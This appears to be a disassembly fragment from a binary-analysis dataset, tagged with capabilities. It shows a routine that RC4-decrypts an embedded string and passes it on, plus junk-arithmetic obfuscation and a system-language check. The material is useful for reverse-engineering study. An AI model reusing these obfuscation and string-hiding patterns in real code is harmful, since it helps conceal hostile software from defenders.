Function at 0x40a324
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 0x13
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x174]
mov esi, 0x42c118
push ebx
sub esp, 0x17c
mov eax, dword [0x428fbc]
xor dword [0x429148], 0xc6e5e649
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x14e]
mov esi, 0x42c12b
mov ecx, 0x36
rep movsb byte es:[edi], byte [esi]
and eax, 0x6fc8f051
or eax, 0x288f7519
mov dword [0x428fbc], eax
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x408e78
xor esi, esi
xor ecx, ecx
mov edi, 0x35
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x14e]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + esi - 0x118], bl
cmp ecx, 0x100
jne 0x408e90
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
lea esi, [ebp - 0x161]
movzx edx, dl
movzx edi, byte [ebp + edx - 0x118]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], al
mov eax, edi
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebx + ebp - 0x174]
mov byte [ebp + ebx - 0x161], al
inc ebx
cmp ebx, 0x13
jne 0x408ed3
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0x13
mov dword [esp + 4], 0x63c
mov dword [esp], str.aFhPoRtL9EddEs_JX65cXwtlsaBZu7UOJo1XrOfgvDySelb0eQjZsTRqKOHwjHCpVvLQ3wSP2zVNeMEFOGeKebf3NJ3PGsIM7YZJ4v_wZ4FyBe43slMsxmBPvag7cuvF8JAik6MdgkNmhyCciJvoHc3KOAEZj_rOXNSyvRmnpvx46fDtHMxuzZFbAqys8gPqvt78DgY8XNohTwzL8EAQRk5PkMBJ_uv_hqOgXG9NGdOjKjLKkK0AY7Otl8gXulqFDyMbSGF7EhBqPRCfYRda98A_Hgb0vbScsJeaopbmWyW1tymAnj2rOCp7NRMwQWwNoL0qoYEScrwioKr60YnxCnKLl5L5YCZQ_lnqRqQ5TjtTYVrerkDnkEU9atq3NCtshUu8aZlkO28A1VAiNDQ3zb1ipQqTtax0gi3Rb2sRvnz5Eg56cAbNCDdLLkCzk3pEMf0zo0QQCz0iV4UK2lWKpd_8InAQHZfX5FipkkBXIvVIMfcAqaVuJD2ogzuI7VMs0WKIT0Gk3fnllIuBFfLPIy1PND2kBCckIwinguTHJ73xDohdAvu3keEOx0GSsE3VhQtOzloLmS0fQJqsMC6SZ6sNH0QUlu29tYjNSNJ20WEu0zn3O8Mdlptm4M4kl5eC7qBlxuDf3ZU5JTtowabEIhTUWOTFMKTi3ZRvC9Leb0G5uPo66fJRjCdoZg6fONiVUSbuBKkhoFgspqptAjdmhvo7QPGAKxXXe1r0jl_RWvIYfcv6lj6jLM0d_fizTB7VxTQ08JKuz5reB_w9V1SRBz26PH950XQSsnZNItCDBYs9rnPKpgqN05DDE66f5AqHCQSmby1BzNlzH8OsttnqJL_sBMhIRCiGIw7rJf0v2bP1jQAD6b_ZqkTV3ISZn1wCQEjy3_yZOdRODfuIUn7ETIxlsBrLWoJ2NmBm3FU8HyYr7x2Wqua5KlRFEj4WclGAsRmMLvRAAGqiBLenw7yUAtSn77JeFd96TCg9IIOb9eeH7wEDACQyEBG1uvmxVuzQVldWbI3xMwbkVOhd7K1NPiqBVoiU5A12GlolSc5Uqlg9fNGNlFcIdu_UNu9kqAFBM6gMn_3JANU6CNpjV4oscfqUpVTIEMEH5hldasdeAmzs4uUOVLC5V1faOmfe5Y8avnelaypVt5FgP5DLnt3U2f92IPanXOBzjV1fHjj02djX_XPDQ7xuezVxZzI5sKRl4EHUkxM4xtrmkulL0GRdyvkxfguxULR2cO1TwRVtpSxLq9uX434RQfQ7DFPYWQv1uWvIKKnjrUczl5iVSY3jKA78gzbLwbERpsinh1aTjNq2NXFn5kxEAso28j4JyoC4i94vJW0UmhRBAYN9m7cagBkxoD7Vj3aBAKeXxVcVJ618V7A_9BZR42nGW94cuOHLXuxaPVJteaCa8BJ_l4LRnua9wy7LBvmkk2vEtl11Qc0NpLmCZ0H7giYmoB790QBGJ0QCHHx9sr1J_CyQKQyZigKXvTq5Ph08XRZnEUibipUO4y2_i_F_gvT9uYFvcypWgibtwqLWaUYxKEEBOR3jplAQjJV5kOfra7By6cpg
mov byte [ebp - 0x14e], 0
call fcn.0040b3c4
add esp, 0x17c
pop ebx
pop esi
pop edi
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
call fcn.00408168
call fcn.00406de0
mov edx, str.SysWOW64
mov al, byte [edx]
test al, al
je 0x40a355
sub eax, 0x30
cmp al, 9
jbe 0x40a352
xor dword [0x42919c], 0x5a4e179c
jmp 0x40a355
inc edx
jmp 0x40a339
imul eax, dword [0x42919c], 0x5fea1753
sub eax, 0x45e6137d
mov dword [0x42919c], eax
call fcn.00407c84
and dword [0x42919c], 0xdf9bbb2b
call fcn.004089f0
call fcn.00406b18
and dword [0x42919c], 0xa5f82634
call fcn.00408430
call fcn.00407848
call fcn.00407054
call fcn.00407a58
call fcn.00408ba0
call fcn.00408844
call fcn.00407238
call fcn.00407430
call fcn.00407700
mov ecx, str.SysWOW64
imul edx, dword [0x42919c], 0x11f5cb4b
mov dword [0x42919c], edx
mov al, byte [ecx]
test al, al
je 0x40a3ff
sub eax, 0x30
cmp al, 9
jbe 0x40a3fc
xor edx, 0x6d6a67d7
mov dword [0x42919c], edx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
sub eax, 0x2f101e37
mov dword [0x42919c], eax
jmp 0x40a3ff
inc ecx
jmp 0x40a3ce
xor dword [0x42919c], 0x8812e7aa
call fcn.00407f30
call fcn.00408600
leave
jmp 0x408e28